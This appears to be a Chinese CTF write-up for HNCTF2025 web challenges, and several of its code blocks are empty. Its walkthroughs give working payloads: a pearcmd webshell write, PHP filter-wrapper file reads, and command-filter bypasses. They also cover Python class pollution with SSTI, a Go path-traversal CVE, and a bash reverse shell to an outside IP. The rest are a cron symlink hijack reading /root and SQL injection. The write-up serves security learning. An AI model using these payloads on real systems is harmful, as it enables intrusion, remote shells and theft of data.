HNCTF2025
ez_php
源码
1 |
|
__destruct->__toString->__call,再绕过throw new Exception即可
exp.php
1 |
|
另外晨曦爷给出了一些别的方法,拿来学习学习
用原生类绕过 hash 函数,去掉最后一个大括号实现fast destruct,从而绕过 throw 异常抛出
exp.php
1 |
|
Really_Ez_Rce
源码
1 |
|
用数组绕过preg_match和intval的判断
http://27.25.151.198:47883/?Number[]=1
之后的命令执行可以拼接+base64来实现,中途发现还可以rev读文件
1 | cmd=a=bas;b=e64;c=bas;d=h;echo Y2F0IC9mKg | $a$b -d | $c$d |
学到的一些新姿势
1 | ca$1t可以当成cat用,同理也可以用ca``t |
DeceptiFlag
第一关提交个答案抓包后发现post里还有个Lang字段,脑洞之后发现是狼的拼音,那么就提交xiyangyang和huitailang即可(怎么这里还有脑洞
1 | POST /index.php?qaq=xiyangyang HTTP/1.1 |
tips.php是个简单的文件包含,php伪协议秒了
1 | http://27.25.151.198:32874/tips.php?file=php://filter/convert.base64-encode/resource=/var/flag/flag.txt |
这题还可以打pearcmd写马直接getshell
1 | /tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+test.php |
奇怪的咖啡店
app.py
1 | from flask import Flask, session, request, render_template_string, render_template |
审计源码,发现/add路由明显存在原型链污染,在测试中发现__init__,__globals__等关键词都被过滤,不过可以用unicode编码绕过
这里有一个比较坑的点,一开始尝试这样子去污染
1 | { |
但是一直报错误4,后来本地起环境调试了一下发现报错’method-wrapper’ object has no attribute ‘__globals__‘
问了下DeepseekR1,给了非常有用的回答
1 | 您的尝试失败是因为在 Python 中直接访问 __init__.__globals__ 存在对象类型不匹配问题。 |
根据DeepSeekR1的意见,首先成功污染了SECRET_KEY
1 | { |
后面尝试将服务器根目录挂载到static目录,成功
1 | { |
最后访问http://27.25.151.198:31465/static/proc/self/environ下载环境变量即可拿到flag
当然,这题还有另一个打法,按上面步骤挂载完后,访问/static/app/app.py,即可得到最终源码
app.py
1 | from flask import Flask, session, request, render_template_string, render_template |
看到original_template = ‘Hello admin!!!Your permissions are{}’.format(permission),可以知道是打ssti,用原型链污染把param_black_list和SECRET_KEY污染掉,最后伪造session即可RCE
1 | { |
SSTI部分
1 | /aaadminnn |
Watch
一个读取文件的功能,但是直接尝试目录穿越没法进入到D盘
提示注意go的版本后搜到go 1.20.0版本存在CVE-2023-45283
??\c:\x会被当作c:\x
那么就能很轻松的读D盘文件了,本题需要在前面做一次目录穿越即可
payload
1 | \..\??\d:\key.txt |
[WEB+RE]Just Ping Part 1
逆向分析goweb1 ,暴露两个api: /api/ping 和 /api/testDevelopApi (网页源码中也有)
进一步分析,可以发现两个api共享同一个命令字符串 pool
moran_goweb1_utils_commandString ,复用 *[]string 对象
在网页端可以看到调用 ping 这个 api 有回显,由于 pool 被复用,调用 testDevelopApi后,网页端点击开始, testDevelopApi 的命令可能被 ping 的 api 复用,进而被执行
cmd 限制四段参数,所以用 bash -c 绕过限制,反弹 shell
1 | GET /api/testDevelopApi?cmd={{urlenc(bash -c 'bash -i >& /dev/tcp/47.120.14.151/6666 0>&1' 111)}} |
多发送几次请求后,网页点击开始Ping,即可反弹shell
1 | /api/testDevelopApi?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%34%37%2e%31%32%30%2e%31%34%2e%31%35%31%2f%36%36%36%36%20%30%3e%26%31%27%20%31%31%31 |
[WEB+RE]Just Ping Part 2
反弹shell操作与上题一致
反弹shell后,根据题目给的附件
backup.sh
1 |
|
先找backup文件
1 | find / -name backup |
接着看这个程序,用base64把它弄下来
从 main 函数可分析出主要逻辑为:读取 ../backupList 中的文件路径,将对应文件备份到/var/backups/backup.zip中
ls -l /usr/local ,可以看到/usr/local/etc/ 目录权限是777
那么可以将 backup 移动到 /usr/local/etc/next文件夹中,并在 /usr/local/etc 下创建 backup 的符号链接,并创建 backupList
这样,backup -> /usr/local/etc/backup -> /usr/local/etc/next/backup,定时任务可以正常运行,且 backupList 可控,成功劫持定时任务
1 | cd /usr/local/etc/&&mkdir test&&mv backup test&&ln -s test/backup backup&&echo '/root'>backupList |
等待定时任务执行,用base64去读/var/backups/backup.zip,然后解压即可
1 | base64 /var/backups/backup.zip |
半成品login
弱口令
admin/admin123
发现password那里过滤了单引号,用反斜杠发现报错了,应该能在这里sql注入
经过尝试,发现能用双重url编码绕过
1 | username=admin&password=admin123%2527# |
过滤了select,那就用table来注入
exp.py
1 | import requests |
最终得到账号密码
1 | hackernbvag,d8578edf845 |
登陆得到flag